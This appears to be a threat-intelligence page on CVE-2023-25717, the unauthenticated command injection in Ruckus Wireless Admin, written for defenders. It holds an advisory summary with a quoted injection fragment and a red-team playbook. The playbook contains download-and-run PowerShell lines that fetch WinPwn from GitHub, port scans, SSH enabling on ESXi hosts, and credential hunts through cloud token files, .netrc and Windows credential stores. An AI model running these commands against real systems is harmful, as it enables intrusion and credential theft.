CVE-2023-25717
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the Ruckus Wireless Admin interface. The affected component processes HTTP GET requests without authentication, specifically mishandling user-supplied parameters in the login form. The vulnerability arises from executing shell commands embedded in input parameters, allowing arbitrary code execution on the server hosting the administration interface.
Vulnerability Description
Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.
Impact
An unauthenticated attacker can execute arbitrary system commands remotely on the affected Ruckus Wireless Admin interface. This enables full compromise of the device, including unauthorized access to sensitive configuration data, potential lateral movement within the network, and disruption of wireless services. No user interaction or valid credentials are required, allowing attackers to exploit the vulnerability remotely over the network, posing a critical risk to network infrastructure integrity and confidentiality.
Solution
Ruckus Wireless has published a security bulletin (ID 315) addressing this vulnerability. Administrators should upgrade affected Ruckus Wireless Admin and SmartZone AP devices to firmware versions later than 10.4 as specified in the advisory. Detailed patch instructions and mitigation steps are available at https://support.ruckuswireless.com/security_bulletins/315. Applying the vendor-supplied updates promptly is essential to remediate the command injection flaw and secure the management interface.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Ruckus Wireless Admin and associated products allows for remote code execution through unauthenticated HTTP GET requests. This flaw arises from improper input validation, specifically in the handling of login credentials. An attacker can exploit this vulnerability by crafting a malicious request that includes a command injection payload. For instance, by manipulating the login parameters, an attacker can execute arbitrary commands on the server, leading to a complete compromise of the affected system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to systems that utilize this software.
Attack vectors for this vulnerability are alarmingly straightforward. An attacker only needs to send a specially crafted HTTP GET request to the vulnerable endpoint, bypassing authentication mechanisms entirely. This simplicity makes it accessible to a wide range of threat actors, from script kiddies to sophisticated cybercriminals. Exploitation scenarios could involve an attacker gaining control over the network infrastructure, deploying malware, or exfiltrating sensitive data. The potential for lateral movement within an organization’s network further amplifies the risk, as attackers could pivot to other systems once they gain a foothold through the compromised device.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Ruckus Wireless products for their networking needs. A successful exploit could lead to unauthorized access to sensitive information, disruption of services, and potential financial losses. Moreover, the reputational damage resulting from a data breach could have long-lasting effects on customer trust and brand integrity. Businesses may also face regulatory repercussions if they fail to protect sensitive data, leading to fines and legal challenges. The interconnected nature of modern networks means that the ramifications of such an exploit could extend beyond the immediate victim, affecting partners and customers alike.
Detection and mitigation strategies are crucial for organizations using affected products. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate weaknesses before they are exploited. Implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests. Organizations should also ensure that they are running the latest firmware and software versions, as vendors typically release patches to address known vulnerabilities. Educating employees about security best practices, such as recognizing phishing attempts and avoiding the use of default credentials, can further strengthen an organization’s defense against potential attacks.
In conclusion, the vulnerability affecting Ruckus Wireless Admin and related products poses a critical threat to network security. The ease of exploitation and the potential for severe consequences necessitate immediate attention from organizations utilizing these systems. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their risk exposure and safeguard their assets against the evolving landscape of cyber threats.
CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2023-25717, indicating increased adversary interest and potential targeting of vulnerable Ruckus Wireless devices. While the overall exploit landscape remains unchanged with no new publicly disclosed exploit techniques or ransomware affiliations, the uptick in telemetry suggests that threat actors are actively probing or attempting exploitation more frequently. This escalation underscores a growing operational tempo that defenders must monitor closely, as it may precede broader exploitation campaigns or the emergence of more sophisticated attack methods. Consequently, the risk level associated with this vulnerability has intensified from a latent to a more imminent threat, warranting heightened vigilance despite stable EPSS scoring and the absence of confirmed ransomware exploitation at this time.
Update 2 — August 05, 2026
CSURFACE threat intelligence has detected a slight increase in probing activity targeting the Ruckus Wireless vulnerability CVE-2023-25717, reflected in a modest rise in telemetry signals and a corresponding uptick in the EPSS score. Although no new exploit variants or ransomware affiliations have been identified, this subtle intensification indicates that threat actors continue to prioritize this critical remote code execution flaw in their reconnaissance efforts. The persistence of elevated scanning suggests that adversaries may be refining their tactics or preparing for more widespread exploitation attempts. For defenders, this evolving pattern underscores the necessity of maintaining heightened monitoring and response capabilities, as the vulnerability remains a highly attractive target given its unauthenticated access vector and severe impact potential. Consequently, the threat level should be considered increasingly imminent, with a growing likelihood of exploitation in the near term despite the absence of confirmed active campaigns or ransomware linkage.
Affected Products (15)
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Ruckuswireless | Smartzone Ap | All |
cpe:2.3:o:ruckuswireless:smartzone_ap:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Ruckuswireless | Smartzone Ap | All |
cpe:2.3:o:ruckuswireless:smartzone_ap:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Ruckuswireless | Smartzone Ap | All |
cpe:2.3:o:ruckuswireless:smartzone_ap:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Ruckuswireless | Smartzone Ap | All |
cpe:2.3:o:ruckuswireless:smartzone_ap:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Commscope | Ruckus Smartzone Firmware | All |
cpe:2.3:o:commscope:ruckus_smartzone_firmware:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Commscope | Ruckus Smartzone Firmware | 6.1.0.0.935 |
cpe:2.3:o:commscope:ruckus_smartzone_firmware:6.1.0.0.935:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Ruckuswireless | Ruckus Wireless Admin | All |
cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*
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Commscope | Ruckus Smartzone Firmware | All |
cpe:2.3:o:commscope:ruckus_smartzone_firmware:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
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Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (4)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2023-25717 |
| support.ruckuswireless.com |
GitHub CVE
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https://support.ruckuswireless.com/security_bulletins/315 |
| cybir.com |
GitHub CVE
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https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/ |
| cisa.gov |
NVD API
US Government Resource
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https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-25717 |